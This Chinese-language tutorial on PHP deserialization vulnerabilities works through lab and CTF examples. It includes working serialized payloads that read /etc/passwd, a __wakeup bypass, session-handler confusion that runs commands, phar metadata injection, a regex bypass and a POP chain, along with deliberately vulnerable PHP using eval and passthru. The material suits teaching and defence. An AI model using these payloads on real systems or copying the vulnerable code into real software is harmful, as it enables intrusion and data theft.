浅谈PHP反序列化漏洞原理
序列化与反序列化
序列化用途：方便于对象在网络中的传输和存储
0x01 php反序列化漏洞
在PHP应用中，序列化和反序列化一般用做缓存，比如session缓存，cookie等。
常见的序列化格式：
- 二进制格式
- 字节数组
- json字符串
- xml字符串
序列化就是将对象转换为流，利于储存和传输的格式
反序列化与序列化相反，将流转换为对象
例如：json序列化、XML序列化、二进制序列化、SOAP序列化
而php的序列化和反序列化基本都围绕着 serialize()，unserialize()这两个函数
php对象中常见的魔术方法
__construct() // 当一个对象创建时被调用，
__destruct() // 当一个对象销毁时被调用，
__toString() // 当一个对象被当作一个字符串被调用。
__wakeup() // 使用unserialize()会检查是否存在__wakeup()方法，如果存在则会先调用，预先准备对象需要的资源
__sleep() // 使用serialize()会检查是否存在__wakeup()方法，如果存在则会先调用，预先准备对象需要的资源
__destruct() // 对象被销毁时触发
__call() // 在对象上下文中调用不可访问的方法时触发
__callStatic() // 在静态上下文中调用不可访问的方法时触发
__get() // 用于从不可访问的属性读取数据
__set() // 用于将数据写入不可访问的属性
__isset() // 在不可访问的属性上调用isset()或empty()触发
__unset() // 在不可访问的属性上使用unset()时触发
__toString() // 把类当作字符串使用时触发,返回值需要为字符串
__invoke() // 当脚本尝试将对象调用为函数时触发
PHP序列化数据
测试脚本 test.php
<?php
class User
{
public $name = '';
public $age = 0;
public $addr = '';
public function __toString()
{
return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;
}
}
$user = new User();
$user->name = 'default';
$user->age = '0';
$user->addr = 'default';
echo serialize($user);
?>
这是一个对象通过serialize()方法序列化后的格式
a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
当一个页面发现传递参数类似对象序列化的数据格式，可以测试是否存在反序列化漏洞
php对象中属性的访问级别
测试 test.php
class User
{
private $name = 'default';
public $age = 18;
protected $addr = 'default';
public function __toString()
{
return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;
}
}
$user = new User();
echo serialize($user);
private 的属性序列化后变成 <0x00>对象<0x00>属性名
public 没有任何变化
protected 的属性序列化后变成 <0x00>*<0x00>属性名
特殊十六进制<0x00>表示一个坏字节，就是空字节
下面测试正确的传值姿势进行反序列化
代码后添加几句
$obj = unserialize($_POST['usr_serialized']);
echo $obj;
先是测试普通的访问形式来传值
usr_serialized=O:4:"User":3:{s:4:"name";s:5:"admin";s:3:"age";i:22;s:4:"addr";s:8:"xxxxxxxx";}
public被正常修改，private、protected无法被对象外修改
如何才能从外部修改被保护的属性值呢？
将 <0x00>的位置用 %00代替
usr_serialized=O:4:"User":3:{s:10:"%00User%00name";s:5:"admin";s:3:"age";i:22;s:7:"%00*%00addr";s:8:"xxxxxxxx";}
可以发现即使是被保护的属性也会被外部修改
php反序列化演示
假设页面有个接口参数可控
<?php
class FileClass
{
public $filename = 'error.log';
public function __toString()
{
return file_get_contents($this->filename);
}
}
class User
{
public $name = '';
public $age = 0;
public $addr = '';
public function __toString()
{
return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;
}
}
# 参数可控
$obj = unserialize($_POST['usr_serialized']);
echo $obj;
?>
测试页面是通过post来传递参数，实战环境不一定在post中，参数可能会被加密编码过
先传递一个 O:4:"User":3:{s:4:"name";s:4:"user";s:3:"age";s:2:"23";s:4:"addr";s:8:"xxxxxxxx";}
通过修改参数，判断参数是否可变
参数可变
反序列化漏洞利用
漏洞形成条件
- 参数可变
- 有可利用函数
假设存在可利用函数
测试代码 test.php
<?php
class FileClass
{
public $filename = 'error.log';
public function __toString()
{
# 读取文件函数
return file_get_contents($this->filename);
}
}
class User
{
public $name = '';
public $age = 0;
public $addr = '';
public function __toString()
{
return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;
}
}
# 参数可控
$obj = unserialize($_POST['usr_serialized']);
echo $obj;
?>
可知存在一个file_get_contents()文件读取函数。
构造恶意参数 O:9:"FileClass":1:{s:8:"filename";s:8:"test.php";}
将之前User的接口改为读取文件的类构造参数，FileClass只有一个filename属性，只需要传递要读取的文件名就行
用同样的参数名传递恶意参数，导致当前目录的test.php被读取，也可以尝试读取其他文件
读取test.txt
尝试读取/etc/passwd
构造参数 O:9:"FileClass":1:{s:8:"filename";s:11:"/etc/passwd";}
0x02 绕过 __wakeup()
__wakeup() 类似一个预处理的作用，在执行unserialize()时会检测是否存在wakeup，存在则先执行 __wakeup()
绕过方式
这种方式绕过是由PHP的版本漏洞造成的
绕过__wakeup()只需要将参数的个数改成超过现有的参数个数即可
影响版本
PHP5 < 5.6.25
PHP7 < 7.0.10
5.6.40和5.5.38测试对比
测试页面 test.php
测试版本 php 5.6.40
测试系统 Linux
IP ：192.168.80.11
<?php
// ...省略其他代码
class CMDClass{
public $cmd = "";
function __wakeup(){
if(strpos($this->cmd,'ls')!==false){
$this->cmd = " ";
}
}
function __destruct(){
passthru($this->cmd,$result);
}
function __toString(){
return "";
}
}
$obj = unserialize($_POST['usr_serialized']);
echo $obj;
?>
这里 __wakeup() 中，判断如果输入的cmd参数中存在 "ls" 的字符串，则将cmd置为空格。
构造参数 O:8:"CMDClass":1:{s:3:"cmd";s:2:"ls";}
将参数的个数改成超过现有的参数个数进行绕过
更新后的版本，无法绕过会产生报错
换一台虚拟机进行测试
测试页面 test.php
测试版本 php 5.5.38
测试系统 Windows 7
IP ：192.168.80.128
测试页面 php_unser.php
<?php
// ...其余都一样
function __wakeup(){
# 因为win7没有ls命令，所以这里来限制ipconfig命令
if(strpos($this->cmd,'ip')!==false){
$this->cmd = "echo 非法输入";
}
}
?>
构造参数 O:8:"CMDClass":1:{s:3:"cmd";s:8:"ipconfig";}
发现被__wakeup()过滤了
修改参数个数进行绕过 O:8:"CMDClass":3:{s:3:"cmd";s:8:"ipconfig";}
经测试可以绕过
0x03 Session反序列化
php中的session内容不是存放在内存中，是以文件形式存在。存储方式就是由配置项session.save_handler来进行确定的，默认是以文件的方式存储。存储的文件是以
sess_sessionid来进行命名的，文件的内容就是session值的序列化之后的内容。
存储方式
php_binary存储方式是，键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值php存储方式是，键名+竖线+经过serialize()函数序列处理的值php_serialize(php>5.5.4)存储方式是，经过serialize()函数序列化处理的值
设置格式
ini_set('session.serialize_handler', '需要设置的引擎');
默认下session存储为 php 存储方式
<?php
session_start();
$_SESSION['name'] = 'admin';
echo "session_id: ".session_id()."<br>";
passthru("cat /tmp/sess_".session_id());
?>
// session内容 name|s:5:"admin";
php_serialize引擎
ini_set("session.serialize_handler","php_serialize");
session_start();
// ...
// session内容 a:1:{s:4:"name";s:5:"admin";}
php_binary引擎
ini_set("session.serialize_handler","php_binary");
session_start();
// ...
// session内容
ASCII的值为4的字符无法打印显示
漏洞原理
当session使用不当，如php反序列化储存时使用引擎和序列化使用的引擎不一样，就会形成漏洞。
漏洞复现
本次测试，以 php引擎和 php_serialize引擎混合引发的漏洞
测试页面1 target1.php --> php_serialize引擎
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["name"]=$_GET["name"];
if ($_SESSION["name"] !== null && $_SESSION["name"] !== "") {
echo "欢迎来到第一个页面，Session已保存！";
}
?>
测试页面2 target2.php --> php引擎
<?php
ini_set('session.serialize_handler','php');
session_start();
// 开启session之后 无需调用会自动加载
class Admin
{
var $name;
function __construct()
{
$this->name = "default";
}
function __destruct(){
// 执行命令
passthru($this->name);
}
}
?>
通过向 target1.php传递一个name为 admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}
然后在访问 target2.php，会发现之前传递参数中的 cat /etc/passwd命令被执行
这是发生了什么？！！
漏洞触发流程
首先通过访问 target1.php并且传递了参数 name=admin|O:5:"Admin":1:{s:4:"name";s:15:"cat%20/etc/passwd";}
而target1.php页面是php_serialize引擎来存储session，所以session保存后的内容变成了 a:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}
然后当访问target2.php时，会用第二个页面的 php引擎来解析session，通过 |来分割字符串取出对应的值；
Session值
a:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}
分解后， a:1:{s:4:"name";s:48:"admin被当作session的key值
O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}被解析成value
Session本身就是序列化和反序列化的存储方式
通过session将O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}反序列化
就会生成 Admin对象和一个属性值为 cat /etc/passwd的name
再通过对象的销毁魔术方法__destruct()就会形成恶意的命令执行
CTF题实战
为了符合题意需要将 php.ini中的 serialize_handler 修改一下
题目测试页面 test3.php
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('test3.php'));
}
?>
访问 <http://192.168.80.11/test3.php?phpinfo=phpinfo()>
符合上面将的漏洞环境
通过源码可以看出并没有可以传入参数的地方
不过在phpinfo中可以看到 session.upload_progress.enabled 是打开的
Session 上传进度
当 session.upload_progress.enabled INI 选项开启时，PHP 能够在每一个文件上传时监测上传进度。这个信息对上传请求自身并没有什么帮助，但在文件上传时应用可以发送一个POST请求到终端（例如通过XHR）来检查这个状态
当一个上传在处理中，同时POST一个与INI中设置的session.upload_progress.name同名变量时，上传进度可以在$_SESSION中获得。当PHP检测到这种POST请求时，它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值
构造一个post表单
<form action="http://192.168.80.11/test3.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
<input type="file" name="file">
<input type="submit">
</form>
上传一个文件，抓包分析
修改 filename 的值为 |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}
session值 先是以php_serialize引擎序列化后储存
后输出页面被 php引擎解析触发反序列化漏洞
构造payload |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:26:\"print_r(scandir(\"/tmp/\"));\";}
可以遍历 /tmp/ 内的所有文件
0x04 反序列化绕过正则
测试页面源码 test4.php
<?php
@error_reporting(1);
include 'flag.php';
echo $_GET['data'];
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./test4.php");
}
?>
首先访问 <http://192.168.80.11/test4.php>
通过源码可以看出存在一个反序列化漏洞
根据之前的经验直接构造一个 序列化payload O:4:"baby":1:{s:4:"file";s:9:"index.php";}
但是由于存在正则表达式 preg_match('/[oc]:\d+:/i',$data,$matches); 对序列化字符串做了限制导致触发防御
接下来尝试绕过正则表达式，前面的O:4:符合正则的条件，因此将其绕过即可。利用符号+就不会正则匹配到数字，新的payload 为O:+4:"baby":1:{s:4:"file";s:9:"index.php";}
并没有什么变化的原因是，在url中 + 号会被解释为空格，所以需要将 + url编码后加入
尝试访问 flag.php
绕过正则表达式
实战中需根据正则表达式规则来进行绕过
0x05 phar反序列化
phar伪协议触发php反序列化
phar://协议
可以将多个文件归入一个本地文件夹，也可以包含一个文件
phar文件
PHAR（PHP归档）文件是一种打包格式，通过将许多PHP代码文件和其他资源（例如图像，样式表等）捆绑到一个归档文件中来实现应用程序和库的分发。所有PHAR文件都使用.phar作为文件扩展名，PHAR格式的归档需要使用自己写的PHP代码。
案例演示
假设已知页面 test5.php
<?php
if(isset($_GET['filename'])){
$filename=$_GET['filename'];
class MyClass{
var $output='echo "nice"';
function __destruct(){
eval($this->output);
}
}
var_dump(file_exists($filename));
file_exists($filename);
}
else{
highlight_file(__FILE__);
}
接下来根据源码中的类来构造一个phar文件
创建一个 phar.php
<?php
class MyClass{
var $output='phpinfo();';
function __destruct(){
eval($this->output);
}
}
@unlink("./myclass.phar");
$a=new MyClass;
$a->output='phpinfo();';
$phar = new Phar("./myclass.phar"); // 后缀必须为 phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a); // 将自定义的meta-data存入manifest
$phar->addFromString("test.txt","test"); // 添加压缩文件
// 签名自动计算
$phar->stopBuffering();
?>
通过访问或者 php 编译去生成 phar文件
注意：必须要在php.ini中设置 phar.readonly = Off 不然无法生存phar文件
通过查看，其中有一串序列化字符串正是和已知页面源码中类相对应
可以通过上传文件等方式将phar文件放到服务器上
先通过正常url http://192.168.80.11/test5.php?filename=index.php 访问
找到phar文件的路径
利用 phar:// 协议来访问
http://192.168.80.11/test5.php?filename=phar://myclass.phar
可以利用phar文件中存在的序列化字符串来导致页面反序列化漏洞的
0x06 POP链构造
测试页面 pop.php
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo sprintf("flag{%s}","P0p_S2EreaWqfFFwiOk1mttT");
}
}
$a = $_GET['string'];
unserialize($a);
?>
解题思路：
- 首先发现找到flag，发现flag需要通过
GetFlag类中get_flag()函数输出，然后可以看到string1类中的__toString()方法可以直接调用get_flag()方法，而str1需要赋值为GetFlag。 - 发现类
func中存在__invoke方法执行了字符串拼接，需要把func当成函数使用自动调用__invoke然后把$mod1赋值为string1的对象与$mod2拼接。 - 在
funct中找到了函数调用，需要把mod1赋值为func类的对象，又因为函数调用在__call方法中，且参数为$test2,即无法调用test2方法时自动调用__call方法； - 在
Call中的test1方法中存在$this->mod1->test2();，需要把$mod1赋值为funct的对象，让__call自动调用。 - 查找
test1方法的调用点，在start_gg中发现$this->mod1->test1();，把$mod1赋值为start_gg类的对象，等待__destruct()自动调用。
通过构造pop链输出payload
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new Call();//把$mod1赋值为Call类对象
}
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new funct();//把 $mod1赋值为funct类对象
}
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new func();//把 $mod1赋值为func类对象
}
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new string1();//把 $mod1赋值为string1类对象
}
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public function __construct()
{
$this->str1= new GetFlag();//把 $str1赋值为GetFlag类对象
}
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$b = new start_gg;//构造start_gg类对象$b
echo serialize($b);
执行后输出 payload O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}
将payload带入到参数发送请求，输出flag
